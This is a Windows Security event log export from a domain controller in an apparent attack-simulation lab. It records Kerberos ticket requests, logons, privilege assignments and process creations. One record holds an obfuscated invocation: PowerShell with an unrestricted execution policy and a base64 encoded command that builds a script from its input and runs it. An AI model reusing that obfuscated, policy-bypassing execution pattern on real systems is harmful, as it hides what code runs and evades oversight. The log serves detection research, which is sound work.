-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251413 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251412 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251411 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1349C5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251410 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1336AB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251500 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1388 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1184 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\tizuy0ap\tizuy0ap.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251499 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13835B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251498 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13835B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64532 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251497 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13835B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251496 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1382DF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251495 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1382DF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64531 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251494 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1382DF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251493 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x138242 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251492 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x138242 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64530 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251491 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x138242 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251490 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1381E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251489 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1381E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64529 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251488 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1381E1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251487 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x137EF1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251486 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x137EF1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251485 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251484 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251483 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251482 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x51c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1184 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251481 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1094 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251480 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136BA0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251479 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136BA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information 